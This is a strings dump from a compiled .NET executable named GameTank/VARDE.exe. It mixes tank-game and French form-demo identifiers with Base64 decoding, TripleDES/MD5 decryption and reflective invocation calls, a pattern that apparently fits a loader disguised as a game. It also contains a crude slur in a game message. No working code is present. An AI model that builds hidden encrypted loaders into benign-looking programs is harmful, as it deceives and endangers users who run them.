!This program cannot be run in DOS mode.
`.rsrc
@.reloc
v4.0.30319
#Strings
_X_X0FT_FT1
List`1
label1
radioButton1
checkBox1
groupBox1
textBox1
_X_X0FT_FT2
TankMissle2
radioButton2
checkBox2
groupBox2
textBox2
_X_TSS3
TankMissle3
radioButton3
checkBox3
groupBox3
TankMissle4
radioButton4
groupBox4
radioButton5
radioButton6
radioButton7
radioButton8
<Module>
ParamF
get_ASCII
get_MissleX
set_MissleX
get_TankAlienX
set_TankAlienX
get_TankEnemyNumberX
set_TankEnemyNumberX
get_TankEnemyX
set_TankEnemyX
get_TankAienY
set_TankAienY
get_TankEnemyNumberY
set_TankEnemyNumberY
get_TankEnemyY
set_TankEnemyY
value__
get_EnumCategoryInstancesFla
mscorlib
System.Collections.Generic
Microsoft.VisualBasic
Thread
Form1_Load
add_Load
get_Red
get_MissleSpeed
set_MissleSpeed
get_GameSpeed
set_GameSpeed
RadioButton1_CheckedChanged
CheckBox1_CheckedChanged
radioButton2_CheckedChanged
CheckBox2_CheckedChanged
radioButton3_CheckedChanged
CheckBox3_CheckedChanged
radioButton4_CheckedChanged
radioButton5_CheckedChanged
radioButton6_CheckedChanged
radioButton7_CheckedChanged
radioButton8_CheckedChanged
add_CheckedChanged
textBox1_TextChanged
add_TextChanged
get_Checked
set_Enabled
<MissleX>k__BackingField
<TankAlienX>k__BackingField
<TankEnemyNumberX>k__BackingField
<TankEnemyX>k__BackingField
<TankAienY>k__BackingField
<TankEnemyNumberY>k__BackingField
<TankEnemyY>k__BackingField
<MissleSpeed>k__BackingField
<GameSpeed>k__BackingField
<gameObjectsPlace>k__BackingField
<Missle>k__BackingField
<_missle>k__BackingField
<gameObjectType>k__BackingField
<Figure>k__BackingField
<TankFigure>k__BackingField
<TankEnemyFig>k__BackingField
<ConsoleWidth>k__BackingField
<_tank>k__BackingField
<missleXAlien>k__BackingField
<SpeedAlien>k__BackingField
<FigureTankAlien>k__BackingField
<missleYUpAlien>k__BackingField
<tankalien>k__BackingField
<MissleDown>k__BackingField
<missledown>k__BackingField
<XCoordinates>k__BackingField
<YCoordinates>k__BackingField
<TankstartXcoordinates>k__BackingField
<TankstartYcoordinates>k__BackingField
<gameSettings>k__BackingField
<missleXLeft>k__BackingField
<ConsoleHight>k__BackingField
<missleXright>k__BackingField
<tankenemy>k__BackingField
Append
GameObjectsPlace
get_gameObjectsPlace
set_gameObjectsPlace
GetHashCode
set_Mode
set_AutoScaleMode
CipherMode
Message
IDisposable
set_Visible
set_CursorVisible
RuntimeTypeHandle
GetTypeFromHandle
ClearConsole
get_Missle
set_Missle
TankMissle
ShootYUpAlienMissle
get__missle
set__missle
set_Name
CallByName
GetScene
_scene
WriteLine
get_NewLine
GetGameEngine
_gameEngine
CallType
GameObjectType
get_gameObjectType
set_gameObjectType
GetType
get_Figure
set_Figure
get_TankFigure
set_TankFigure
get_Culture
set_Culture
resourceCulture
ButtonBase
TextBoxBase
Dispose
DebuggerBrowsableState
EditorBrowsableState
get_White
STAThreadAttribute
CompilerGeneratedAttribute
GuidAttribute
GeneratedCodeAttribute
DebuggerNonUserCodeAttribute
DebuggableAttribute
DebuggerBrowsableAttribute
EditorBrowsableAttribute
ComVisibleAttribute
AssemblyTitleAttribute
AssemblyTrademarkAttribute
TargetFrameworkAttribute
AssemblyFileVersionAttribute
AssemblyConfigurationAttribute
AssemblyDescriptionAttribute
CompilationRelaxationsAttribute
AssemblyProductAttribute
AssemblyCopyrightAttribute
AssemblyCompanyAttribute
RuntimeCompatibilityAttribute
get_Blue
DownMove
UpMove
LeftMove
RightMove
ShootMove
StartMove
VARDE.exe
get_Size
set_Size
set_AutoSize
set_ClientSize
get_TankEnemyFig
set_TankEnemyFig
SceneReading
sceneReading
System.Threading
Encoding
System.Runtime.Versioning
AddGameObjectForRendering
AddListForRendering
FromBase64String
ToString
GetString
disposing
System.Drawing
ComputeHash
get_ConsoleWidth
set_ConsoleWidth
get_Length
GetLength
get_Black
TransformFinalBlock
GameTank
GetAlienTank
get__tank
set__tank
System.ComponentModel
ContainerControl
Program
get_Item
System
SymmetricAlgorithm
HashAlgorithm
Random
ICryptoTransform
resourceMan
get_Green
TankMissleXAlien
get_missleXAlien
set_missleXAlien
get_SpeedAlien
set_SpeedAlien
get_FigureTankAlien
set_FigureTankAlien
TankMissleYUpAlien
get_missleYUpAlien
set_missleYUpAlien
ShootYUpAlien
ShootXLeftAlien
get_tankalien
set_tankalien
AppDomain
GetDomain
Application
set_Location
System.Globalization
Interaction
System.Reflection
ControlCollection
SetCursorPosition
RadioButton
Radiobtn
TankMissleYDown
ShootMoveYDown
ShootYDown
get_MissleDown
set_MissleDown
get_missledown
set_missledown
CultureInfo
ConsoleKeyInfo
Bitmap
set_TabStop
get_ParamXGroup
Linear
InvokeMember
MD5CryptoServiceProvider
TripleDESCryptoServiceProvider
StringBuilder
Render
sender
Binder
get_ResourceManager
EventHandler
System.CodeDom.Compiler
UIControler
IContainer
_isNotOwner
ToUpper
groupBox1_Enter
ToLower
set_ForeColor
set_BackColor
set_UseVisualStyleBackColor
GetEnumerator
CreateDecryptor
TankFactorias
GameObjectsFactorias
System.Diagnostics
System.Runtime.InteropServices
System.Runtime.CompilerServices
System.Resources
GameTank.Form1.resources
GameTank.Properties.Resources.resources
DebuggingModes
GameTank.Properties
EnableVisualStyles
get_XCoordinates
set_XCoordinates
get_YCoordinates
set_YCoordinates
get_TankstartXcoordinates
set_TankstartXcoordinates
get_TankstartYcoordinates
set_TankstartYcoordinates
GetBytes
BindingFlags
GameSettings
get_gameSettings
set_gameSettings
EventArgs
Equals
get_Controls
System.Windows.Forms
set_AutoScaleDimensions
GetGameObjects
gameObjects
GetObjects
components
RemoveAt
Concat
gameObject
GetObject
TankMissleXLeft
get_missleXLeft
set_missleXLeft
ShootMoveXLeft
ShootXLeft
ShootXAlienLeft
ConsoleWieght
get_ConsoleHight
set_ConsoleHight
TankMissleXRight
ShootMoveXRight
ShootXRight
ConsoleHeight
get_missleXright
set_missleXright
SetCompatibleTextRenderingDefault
AccountManagment
Environment
InitializeComponent
get_Current
get_Count
Convert
SuspendLayout
ResumeLayout
PerformLayout
MoveNext
System.Text
get_Text
set_Text
set_TabIndex
_sceneMatrix
CheckBox
GroupBox
TextBox
Display
get_ParamXArray
get_Key
set_Key
ReadKey
ConsoleKey
System.Security.Cryptography
get_Assembly
set_ReadOnly
GetTankEnemy
get_tankenemy
set_tankenemy
TankMissleFactory
TankMissleXAlienFactory
TankAlienFactory
TankMissleYUpAlienFactory
TankMissleYDownFactory
TankMissleXLeftFactory
TankMissleXRightFactory
TankEnemyFactory
WrapNonExceptionThrows
GameTank
Copyright
2020
$de4a5e9b-31b9-4286-af76-211709a91f2f
1.0.0.0
.NETFramework,Version=v4.0
FrameworkDisplayName
.NET Framework 4
3System.Resources.Tools.StronglyTypedResourceBuilder
16.0.0.0
lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
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QSystem.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Drawing.Bitmap
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mscoree.dll
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<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
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5657374B5A73733559
label1
Tapez votre texte
textBox1
groupBox1
checkBox3
checkBox2
Couleur des caract
checkBox1
Couleur du fond
groupBox2
radioButton7
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radioButton2
radioButton1
groupBox3
Caract
radioButton8
radioButton3
radioButton4
groupBox4
radioButton5
Majuscules
radioButton6
Minuscules
textBox2
CheckBox et RadioButton
GetType
MemberReference.ServerIdentityObject
GameTank
System.Activator
CreateInstance
You PIDOR
You Winner
Game Over
GameTank.Properties.Resources
EnumCategoryInstancesFla
EnumCategoryInstancesFla
VS_VERSION_INFO
VarFileInfo
Translation
StringFileInfo
000004b0
Comments
CompanyName
FileDescription
GameTank
FileVersion
1.0.0.0
InternalName
VARDE.exe
LegalCopyright
Copyright
2020
LegalTrademarks
OriginalFilename
VARDE.exe
ProductName
GameTank
ProductVersion
1.0.0.0
Assembly Version
1.0.0.0